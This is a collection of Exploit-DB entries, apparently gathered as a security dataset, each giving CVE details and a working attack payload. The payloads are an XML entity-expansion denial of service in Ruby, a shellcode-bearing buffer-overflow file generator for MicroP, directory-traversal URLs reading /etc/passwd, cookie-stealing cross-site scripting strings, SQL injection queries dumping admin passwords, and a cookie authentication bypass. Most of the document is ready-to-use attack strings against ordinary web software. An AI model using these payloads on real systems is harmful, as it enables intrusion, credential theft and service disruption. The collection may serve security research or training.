QLWD/code_shield huggingface dataset:
标题: Ruby 1.9 - REXML Remote Denial of Service EDB-ID: 32292 CVE: 2008-3790 类型: DOS 平台: LINUX 发布日期: 2008-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/30802/info

Ruby is prone to a remote denial-of-service vulnerability in its REXML module.

Successful exploits may allow remote attackers to cause denial-of-service conditions in applications that use the vulnerable module.

Versions up to and including Ruby 1.9.0-3 are vulnerable. 

#!/usr/bin/env ruby
require 'rexml/document'

doc = REXML::Document.new(<<END)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
  <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
  <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
  <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
  <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
  <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
  <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>
END

puts doc.root.text.size URL: https://www.exploit-db.com/exploits/32292
标题: Nginx 1.4.0 (Generic Linux x64) - Remote Overflow EDB-ID: 32277 CVE: 2013-2028 类型: REMOTE 平台: LINUX_X86-64 发布日期: 2014-03-15 漏洞利用脚本: nginx <= 1.4.0 exploit for CVE-2013-2028
by sorbo
Fri Jul 12 14:52:45 PDT 2013

./brop.rb 127.0.0.1

for remote hosts:
./frag.sh ip
./brop.rb ip

rm state.bin when changing host (or relaunching nginx with canaries)

scan.py will find servers, reading IPs from ips.txt



This is a generic exploit for 64-bit nginx which uses a new attack technique (BROP) that does not rely on a particular target binary.  It will work on any distro and even compiled from source installations.



Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32277.tgz URL: https://www.exploit-db.com/exploits/32277
标题: Vanilla 1.1.4 - HTML Injection / Cross-Site Scripting EDB-ID: 32279 CVE: 2008-3758 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/30748/info

Vanilla is prone to multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Vanilla 1.1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/people.php?PostBackAction=Apply&NewPassword='"><script>alert document.cookie)%3B<%2Fscript> URL: https://www.exploit-db.com/exploits/32279
标题: Freeway 1.4.1.171 - '/templates/Freeway/boxes/card1.php?language' Traversal Local File Inclusion EDB-ID: 32267 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
     
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
     
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/templates/Freeway/boxes/card1.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32267
标题: Freeway 1.4.1.171 - '/templates/Freeway/boxes/whos_online.php?language' Traversal Local File Inclusion EDB-ID: 32269 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
       
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
       
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/templates/Freeway/boxes/whos_online.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32269
标题: Freeway 1.4.1.171 - '/includes/modules/newsdesk/newsdesk_article_require.php?language' Traversal Local File Inclusion EDB-ID: 32266 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
    
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
    
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/includes/modules/newsdesk/newsdesk_article_require.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32266
标题: Freeway 1.4.1.171 - '/templates/Freeway/boxes/loginbox.php?language' Traversal Local File Inclusion EDB-ID: 32268 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
      
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
      
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/templates/Freeway/boxes/loginbox.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32268
标题: NewsHOWLER 1.03 - Cookie Data SQL Injection EDB-ID: 32271 CVE: 2008-6517 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30732/info

NewsHOWLER is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

javascript:document.cookie = "news_user=zz'+union+select+3,3,3,3+from+news_users/*; path=/";
javascript:document.cookie = "news_password=3; path=/"; URL: https://www.exploit-db.com/exploits/32271
标题: Freeway 1.4.1.171 - '/templates/Freeway/mainpage_modules/mainpage.php?language' Traversal Local File Inclusion EDB-ID: 32270 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
        
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
        
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
        
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/templates/Freeway/mainpage_modules/mainpage.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32270
标题: Freeway 1.4.1.171 - '/french/account_newsletters.php?language' Traversal Local File Inclusion EDB-ID: 32264 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
  
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
  
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/includes/languages/french/account_newsletters.php? language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32264
标题: Ovidentia 6.6.5 - 'index.php' Cross-Site Scripting EDB-ID: 32272 CVE: 2008-3917 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30735/info

Ovidentia is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Ovidentia 6.6.5 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?tg=search&pat=abcdefgh&idx=find&navpos=0&navitem=&field=<script>alert(333.45)</script> URL: https://www.exploit-db.com/exploits/32272
标题: Freeway 1.4.1.171 - '/includes/modules/faqdesk/faqdesk_article_require.php?language' Traversal Local File Inclusion EDB-ID: 32265 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info
   
Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.
   
Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/includes/modules/faqdesk/faqdesk_article_require.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32265
标题: MicroP 0.1.1.1600 - '.mppl' Local Stack Buffer Overflow EDB-ID: 32261 CVE: 2010-5299 类型: LOCAL 平台: WINDOWS 发布日期: 2014-03-14 漏洞利用脚本: #!/usr/bin/env ruby
# Exploit Title:MicroP(.mppl) Local Stack Based Buffer Overflow
# Author:Necmettin COSKUN => twitter.com/babayarisi
# Blog  : http://www.ncoskun.com http://www.grisapka.org
# Vendor :http://sourceforge.net/projects/microp/
# Software link:http://sourceforge.net/projects/microp/files/latest/download
# version: 0.1.1.1600
# Tested on: windows XP sp2
# 4ewa2getha! ;)

print "\n"
  print "\n"
  print "   by\n"                                      
  print "    _       _                   _  v2 _   \n"
  print "   | |_ ___| |_ ___ _ _ ___ ___|_|___|_|  \n"
  print "   | . | .'| . | .'| | | .'|  _| |_ -| |  \n"
  print "   |___|__,|___|__,|_  |__,|_| |_|___|_|  \n"
  print "                   |___|                  \n"                
  print "                                          \n"
  print "\n"
  print "\n"
  

#shellcode = http://www.exploit-db.com/exploits/28996/ 
#User32-free Messagebox Shellcode for any Windows version
 
 babacode =
   "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"+
   "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"+
   "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"+
   "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"+
   "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+
   "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+
   "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+
   "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
dolgu = "\x41" * 1163 
eip = [0x100145B5].pack('V') 

bumbala=babacode+dolgu+eip

File.open('baba.mppl', 'w') do |bofdosya|  
bofdosya.puts (bumbala)
bofdosya.close()
end URL: https://www.exploit-db.com/exploits/32261
标题: Freeway 1.4.1.171 - '/english/account.php?language' Traversal Local File Inclusion EDB-ID: 32259 CVE: 2008-3770 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30731/info

Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/includes/languages/english/account.php?language=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32259
标题: AWStats 6.8 - 'AWStats.pl' Cross-Site Scripting EDB-ID: 32258 CVE: 2008-3714 类型: WEBAPPS 平台: CGI 发布日期: 2008-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/30730/info

AWStats is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AWStats 6.8 is vulnerable; other versions may also be affected. 

http://www.example.com/awstats/awstats.pl?config=www.example.com&%22onload=%22alert(document.domain)// URL: https://www.exploit-db.com/exploits/32258
标题: FlexCMS 2.5 - 'inc-core-admin-editor-previouscolorsjs.php' Cross-Site Scripting EDB-ID: 32254 CVE: 2008-3715 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/30709/info

FlexCMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

FlexCMS 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/32254
标题: FipsCMS 2.1 - 'neu.asp' SQL Injection EDB-ID: 32255 CVE: 2008-3722 类型: WEBAPPS 平台: ASP 发布日期: 2008-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/30712/info

fipsCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

fipsCMS 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/fipsCMS/forum/neu.asp?kat=1+union+select+0,pw_admin+from+config URL: https://www.exploit-db.com/exploits/32255
标题: Mambo Open Source 4.6.2 - '/mambots/editors/mostlyce/' PHP/connector.php?Query String Cross-Site Scripting EDB-ID: 32253 CVE: 2008-3712 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/30708/info
 
Mambo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Mambo 4.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?khashayar=<script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/32253
标题: Yelp 2.23.1 - Invalid URI Format String EDB-ID: 32248 CVE: 2008-3533 类型: DOS 平台: LINUX 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30690/info

Yelp is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied input before including it in the format-specifier argument of a formatted-printing function.

A remote attacker may exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts may cause denial-of-service conditions.

Yelp 2.23.1 is vulnerable; other versions may also be affected. 

ftp://%08x.%08x.%08x.%08x.%08x.%08x
%x%x%x%x%x%x://
%08x%08x URL: https://www.exploit-db.com/exploits/32248
标题: PHPizabi 0.848b C1 HP3 - 'id' Local File Inclusion EDB-ID: 32251 CVE: 2008-3723 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/30707/info

PHPizabi is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

PHPizabi 0.848b C1 HFP3 is vulnerable; other versions may also be affected. 

http://www.example.com/phpizabi/index.php?L=admin.templates.edittemplate&id=../../../boot.ini URL: https://www.exploit-db.com/exploits/32251
标题: Mambo Open Source 4.6.2 - '/administrator/popups/index3pop.php?mosConfig_sitename' Cross-Site Scripting EDB-ID: 32252 CVE: 2008-3712 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/30708/info

Mambo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mambo 4.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/administrator/popups/index3pop.php?mosConfig_sitename=</title><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/32252
标题: Nortel Networks SRG V16 - 'modules.php?module' Traversal Local File Inclusion EDB-ID: 32247 CVE: 2008-5943 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30687/info
  
Navboard is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability.
  
An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. Exploits of the cross-site scripting issue may allow the attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Navboard 16 is vulnerable; other versions may also be affected.

http://www.example.com/path/modules.php?module=[LFI] URL: https://www.exploit-db.com/exploits/32247
标题: Nortel Networks SRG V16 - 'admin_modules.php?module' Traversal Local File Inclusion EDB-ID: 32246 CVE: 2008-5943 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30687/info
 
Navboard is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. Exploits of the cross-site scripting issue may allow the attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Navboard 16 is vulnerable; other versions may also be affected.

http://www.example.com/path/admin_modules.php?module=[LFI] URL: https://www.exploit-db.com/exploits/32246
标题: Nortel Networks SRG V16 - 'modules.php?module' Cross-Site Scripting EDB-ID: 32245 CVE: 2008-5944 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30687/info

Navboard is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. Exploits of the cross-site scripting issue may allow the attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Navboard 16 is vulnerable; other versions may also be affected.

http://www.example.com/path/modules.php?module=[XSS] URL: https://www.exploit-db.com/exploits/32245
标题: PHP-Fusion 4.01 - 'readmore.php' SQL Injection EDB-ID: 32242 CVE: 2008-5946 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30680/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Fusion 4.01 is vulnerable; other versions may also be affected. 

http://www.example.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/* URL: https://www.exploit-db.com/exploits/32242
标题: Nukeviet 2.0 - '/admin/login.php' Cookie Authentication Bypass EDB-ID: 32243 CVE: 2008-5945 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30681/info

Nukeviet is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application.

Nukeviet 2.0 Beta is vulnerable; other versions may also be affected. 

javascript:document.cookie = "admf=1; path=/"; URL: https://www.exploit-db.com/exploits/32243
标题: Meet#Web 0.8 - 'RegRightsResource.class.php?root_path' Remote File Inclusion EDB-ID: 32236 CVE: 2008-6066 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30673/info
     
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/RegRightsResource.class.php?root_path=[SHell] URL: https://www.exploit-db.com/exploits/32236
标题: PHP Realty - 'dpage.php' SQL Injection EDB-ID: 32241 CVE: 2008-3682 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30678/info

PHP Realty is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/path/dpage.php?docID=-1 UNION SELECT 1,2,concat(Username,0x3a,Password) FROM admin--
http://www.example.com/path/dpage.php?docID=-9999+union+all+select+1,2,group_concat(Username,char(58),Password)v3n0m+from+admin-- URL: https://www.exploit-db.com/exploits/32241
标题: Meet#Web 0.8 - 'RegForm.class.php?root_path' Remote File Inclusion EDB-ID: 32234 CVE: 2008-6066 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30673/info
   
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/RegForm.class.php?root_path=[SHell] URL: https://www.exploit-db.com/exploits/32234